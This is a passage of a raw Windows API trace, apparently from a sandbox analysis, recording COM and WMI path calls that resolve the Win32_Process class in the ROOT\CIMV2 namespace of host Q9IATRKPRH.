riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.061] WbemDefPath:IUnknown:Release (This=0x1bfbcf00) returned 0x2 [0079.061] WbemDefPath:IUnknown:Release (This=0x1bfbcf00) returned 0x1 [0079.061] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.061] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbcf00) returned 0x0 [0079.061] WbemDefPath:IUnknown:AddRef (This=0x1bfbcf00) returned 0x3 [0079.061] WbemDefPath:IUnknown:Release (This=0x1bfbcf00) returned 0x2 [0079.061] WbemDefPath:IWbemPath:SetText (This=0x1bfbcf00, uMode=0x4, pszPath="") returned 0x0 [0079.061] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcf00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.061] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbce40, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.061] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbcf00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0079.061] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbcf00, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0079.061] WbemDefPath:IWbemPath:SetServer (This=0x1bfbcf00, Name="Q9IATRKPRH") returned 0x0 [0079.061] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.062] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.062] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.062] IUnknown:Release (This=0x111f638) returned 0x1 [0079.063] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001380) returned 0x0 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001380, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.064] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001380, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbcfc0) returned 0x0 [0079.064] WbemDefPath:IUnknown:Release (This=0x1c001380) returned 0x0 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbcfc0) returned 0x0 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.064] WbemDefPath:IUnknown:AddRef (This=0x1bfbcfc0) returned 0x3 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0013c0) returned 0x0 [0079.064] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0013c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.064] WbemDefPath:IUnknown:Release (This=0x1c0013c0) returned 0x3 [0079.064] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.064] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.064] WbemDefPath:IUnknown:Release (This=0x1bfbcfc0) returned 0x2 [0079.065] WbemDefPath:IUnknown:Release (This=0x1bfbcfc0) returned 0x1 [0079.065] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.065] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcfc0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbcfc0) returned 0x0 [0079.065] WbemDefPath:IUnknown:AddRef (This=0x1bfbcfc0) returned 0x3 [0079.065] WbemDefPath:IUnknown:Release (This=0x1bfbcfc0) returned 0x2 [0079.065] WbemDefPath:IWbemPath:SetText (This=0x1bfbcfc0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcf00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcfc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcfc0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcfc0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0079.065] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbcf00) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcfc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbcfc0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbcfc0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0079.065] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbcf00, uIndex=0x0, pszName="ROOT") returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbcfc0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbcfc0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0079.065] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbcf00, uIndex=0x1, pszName="CIMV2") returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbcf00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0079.065] WbemDefPath:IWbemPath:SetClassName (This=0x1bfbcf00, Name="Win32_Process") returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbcf00, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0079.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcf00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbcf00, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcf00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0079.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcf00, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0079.066] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0079.066] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0079.066] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0079.066] IUnknown:Release (This=0x111f638) returned 0x1 [0079.068] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c001620) returned 0x0 [0079.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001620, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0079.068] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001620, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bfbd080) returned 0x0 [0079.068] WbemDefPath:IUnknown:Release (This=0x1c001620) returned 0x0 [0079.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bfbd080) returned 0x0 [0079.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0079.069] WbemDefPath:IUnknown:AddRef (This=0x1bfbd080) returned 0x3 [0079.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0079.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0079.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c001660) returned 0x0 [0079.069] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.069] WbemDefPath:IUnknown:Release (This=0x1c001660) returned 0x3 [0079.069] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0079.069] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0079.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0079.069] WbemDefPath:IUnknown:Release (This=0x1bfbd080) returned 0x2 [0079.069] WbemDefPath:IUnknown:Release (This=0x1bfbd080) returned 0x1 [0079.069] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0079.069] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0079.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd080, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bfbd080) returned 0x0 [0079.069] WbemDefPath:IUnknown:AddRef (This=0x1bfbd080) returned 0x3 [0079.069] WbemDefPath:IUnknown:Release (This=0x1bfbd080) returned 0x2 [0079.069] WbemDefPath:IWbemPath:SetText (This=0x1bfbd080, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0079.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0079.070] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.070] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.070] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.070] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.070] IUnknown:Release (This=0x111f638) returned 0x1 [0079.071] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0016a0) returned 0x0 [0079.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0016a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.072] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0016a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbd140) returned 0x0 [0079.072] WbemDefPath:IUnknown:Release (This=0x1c0016a0) returned 0x0 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbd140) returned 0x0 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.072] WbemDefPath:IUnknown:AddRef (This=0x1bfbd140) returned 0x3 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0016e0) returned 0x0 [0079.072] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0016e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.072] WbemDefPath:IUnknown:Release (This=0x1c0016e0) returned 0x3 [0079.072] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.072] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.072] WbemDefPath:IUnknown:Release (This=0x1bfbd140) returned 0x2 [0079.072] WbemDefPath:IUnknown:Release (This=0x1bfbd140) returned 0x1 [0079.072] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.073] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd140, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbd140) returned 0x0 [0079.073] WbemDefPath:IUnknown:AddRef (This=0x1bfbd140) returned 0x3 [0079.073] WbemDefPath:IUnknown:Release (This=0x1bfbd140) returned 0x2 [0079.073] WbemDefPath:IWbemPath:SetText (This=0x1bfbd140, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0079.073] 